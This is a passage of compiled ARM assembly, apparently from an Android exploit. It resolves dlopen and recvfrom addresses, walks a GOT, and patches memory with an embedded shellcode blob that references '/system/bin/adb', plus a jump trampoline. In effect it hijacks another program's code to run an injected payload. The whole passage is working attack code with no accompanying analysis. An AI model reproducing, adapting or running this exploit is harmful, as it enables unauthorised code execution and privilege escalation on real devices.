	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L80:
	.align	2
.L79:
	.word	.LC31
	.word	.LC17
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC30
	.size	got_memoffset, .-got_memoffset
	.section	.rodata
	.align	2
.LC33:
	.ascii	"dlopen\000"
	.align	2
.LC34:
	.ascii	"[*] dlopen vitual addr: %08lx\012\000"
	.align	2
.LC35:
	.ascii	"[*] got_addr vitual addr: %08lx, num : %d\012\000"
	.align	2
.LC36:
	.ascii	"[*] dlopen @ got %d\012\000"
	.align	2
.LC37:
	.ascii	"recvfrom\000"
	.align	2
.LC38:
	.ascii	"[*] b* %08lx\012\000"
	.align	2
.LC39:
	.ascii	"[*]pid: %d, recv_from: %08lx, vaddr_set_errno: %08l"
	.ascii	"x, vaddr_dlopen_plt: %08lx, vaddr_payload: %08lx\012"
	.ascii	"\000"
	.align	2
.LC40:
	.ascii	"dlopen_offset = %08lx\000"
	.align	2
.LC42:
	.ascii	"vaddr_payload %08lx, offset %08lx\012\000"
	.align	2
.LC32:
	.ascii	"\377@-\351\007\300\240\341\307p\240\343\000\000\000"
	.ascii	"\357\014p\240\341\000\000P\343\001\000\000\012\377@"
	.ascii	"\275\350\012\000\000\352\017\000\240\341L\000\200\342"
	.ascii	"\000\020\240\343\0030C\340\0170\203\340L0\203\342\000"
	.ascii	"0\223\345\0030\217\340\0000\223\3453\377/\341\377@\275"
	.ascii	"\350\015\300\240\341\360\000-\351p\000\234\350I\177"
	.ascii	"\240\343\000\000\000\357\360\000\275\350\001\012p\343"
	.ascii	"\036\377/\221\000\000`\342\000\000\000\352/system/b"
	.ascii	"in/adb\000\000\000\000\000\000"
	.align	2
.LC41:
	.ascii	"\004\300\237\345\014\300\217\340\034\377/\341\000\000"
	.ascii	"\000\000\000"
	.align	2
.LC43:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 232
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #240
	str	r0, [fp, #-232]
	str	r1, [fp, #-236]
	ldr	r3, .L92
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r2, .L92+4
	sub	r3, fp, #152
	mov	r1, r2
	mov	r2, #141
	mov	r0, r3
	bl	memcpy
	sub	r2, fp, #224
	sub	r3, fp, #228
	mov	r1, r2
	mov	r0, r3
	bl	get_range
	mov	r3, r0
	cmp	r3, #0
	beq	.L82
	ldr	r1, .L92+8
	mov	r0, #1
	bl	errx
.L82:
	ldr	r0, .L92+12
	bl	get_func_addr
	mov	r3, r0
	str	r3, [fp, #-208]
	ldr	r1, [fp, #-208]
	ldr	r0, .L92+16
	bl	printf
	mov	r3, #0
	str	r3, [fp, #-220]
	sub	r3, fp, #220
	mov	r0, r3
	bl	got_memoffset
	str	r0, [fp, #-204]
	ldr	r2, [fp, #-228]
	ldr	r3, [fp, #-204]
	add	r3, r2, r3
	str	r3, [fp, #-200]
	ldr	r3, [fp, #-220]
	mov	r2, r3
	ldr	r1, [fp, #-200]
	ldr	r0, .L92+20
	bl	printf
	mov	r3, #0
	str	r3, [fp, #-216]
	b	.L83
.L86:
	ldr	r3, [fp, #-216]
	lsl	r2, r3, #2
	ldr	r3, [fp, #-200]
	add	r3, r2, r3
	ldr	r3, [r3]
	ldr	r2, [fp, #-208]
	cmp	r2, r3
	bne	.L84
	ldr	r1, [fp, #-216]
	ldr	r0, .L92+24
	bl	printf
	b	.L85
.L84:
	ldr	r3, [fp, #-216]
	add	r3, r3, #1
	str	r3, [fp, #-216]
.L83:
	ldr	r3, [fp, #-220]
	ldr	r2, [fp, #-216]
	cmp	r2, r3
	blt	.L86
.L85:
	ldr	r3, [fp, #-216]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-204]
	add	r3, r2, r3
	str	r3, [fp, #-196]
	ldr	r2, [fp, #-228]
	ldr	r3, [fp, #-196]
	add	r3, r2, r3
	str	r3, [fp, #-192]
	ldr	r0, .L92+28
	bl	get_func_addr
	str	r0, [fp, #-188]
	ldr	r3, [fp, #-224]
	sub	r3, r3, #144
	str	r3, [fp, #-184]
	mov	r3, #0
	str	r3, [fp, #-180]
	mov	r3, #0
	str	r3, [fp, #-212]
	mov	r3, #0
	str	r3, [fp, #-216]
	b	.L87
.L90:
	ldr	r3, [fp, #-216]
	ldr	r2, [fp, #-188]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #234
	bne	.L88
	ldr	r3, [fp, #-216]
	sub	r3, r3, #3
	ldr	r2, [fp, #-188]
	add	r3, r2, r3
	mov	r1, r3
	ldr	r0, .L92+32
	bl	printf
	ldr	r3, [fp, #-216]
	sub	r3, r3, #3
	ldr	r2, [fp, #-188]
	add	r3, r2, r3
	add	r2, r3, #8
	ldr	r3, [fp, #-216]
	sub	r3, r3, #3
	ldr	r1, [fp, #-188]
	add	r3, r1, r3
	ldr	r3, [r3]
	bic	r3, r3, #-16777216
	lsl	r3, r3, #2
	add	r3, r2, r3
	str	r3, [fp, #-212]
	b	.L89
.L88:
	ldr	r3, [fp, #-216]
	add	r3, r3, #1
	str	r3, [fp, #-216]
.L87:
	ldr	r3, [fp, #-216]
	cmp	r3, #255
	ble	.L90
.L89:
	bl	getpid
	mov	r1, r0
	ldr	r3, [fp, #-184]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-192]
	str	r3, [sp]
	ldr	r3, [fp, #-212]
	ldr	r2, [fp, #-188]
	ldr	r0, .L92+36
	bl	printf
	ldr	r2, [fp, #-184]
	mvn	r3, #71
	sub	r3, r3, r2
	ldr	r2, [fp, #-192]
	add	r3, r2, r3
	str	r3, [fp, #-196]
	ldr	r3, [fp, #-184]
	add	r3, r3, #124
	ldr	r2, [fp, #-212]
	sub	r3, r2, r3
	str	r3, [fp, #-180]
	sub	r3, fp, #152
	add	r2, r3, #116
	ldr	r3, [fp, #-180]
	add	r1, r3, #3
	cmp	r3, #0
	movlt	r3, r1
	movge	r3, r3
	asr	r3, r3, #2
	str	r3, [r2]
	mvn	r3, #21
	strb	r3, [fp, #-33]
	sub	r3, fp, #152
	add	r3, r3, #136
	ldr	r2, [fp, #-196]
	str	r2, [r3]
	ldr	r1, [fp, #-196]
	ldr	r0, .L92+40
	bl	printf
	ldr	r3, [fp, #-184]
	sub	r1, fp, #152
	mov	r2, #144
	mov	r0, r3
	bl	patch
	ldr	r3, .L92+44
	sub	ip, fp, #172
	mov	lr, r3
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldr	r3, [lr]
	strb	r3, [ip]
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-184]
	sub	r3, r2, r3
	str	r3, [fp, #-176]
	ldr	r2, [fp, #-176]
	ldr	r1, [fp, #-184]
	ldr	r0, .L92+48
	bl	printf
	sub	r3, fp, #172
	add	r3, r3, #12
	ldr	r2, [fp, #-176]
	sub	r2, r2, #12
	str	r2, [r3]
	sub	r3, fp, #172
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-188]
	bl	patch
	mov	r0, #0
	bl	exit
.L93:
	.align	2
.L92:
	.word	.LC43
	.word	.LC32
	.word	.LC14
	.word	.LC33
	.word	.LC34
	.word	.LC35
	.word	.LC36
	.word	.LC37
	.word	.LC38
	.word	.LC39
	.word	.LC40
	.word	.LC41
	.word	.LC42
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
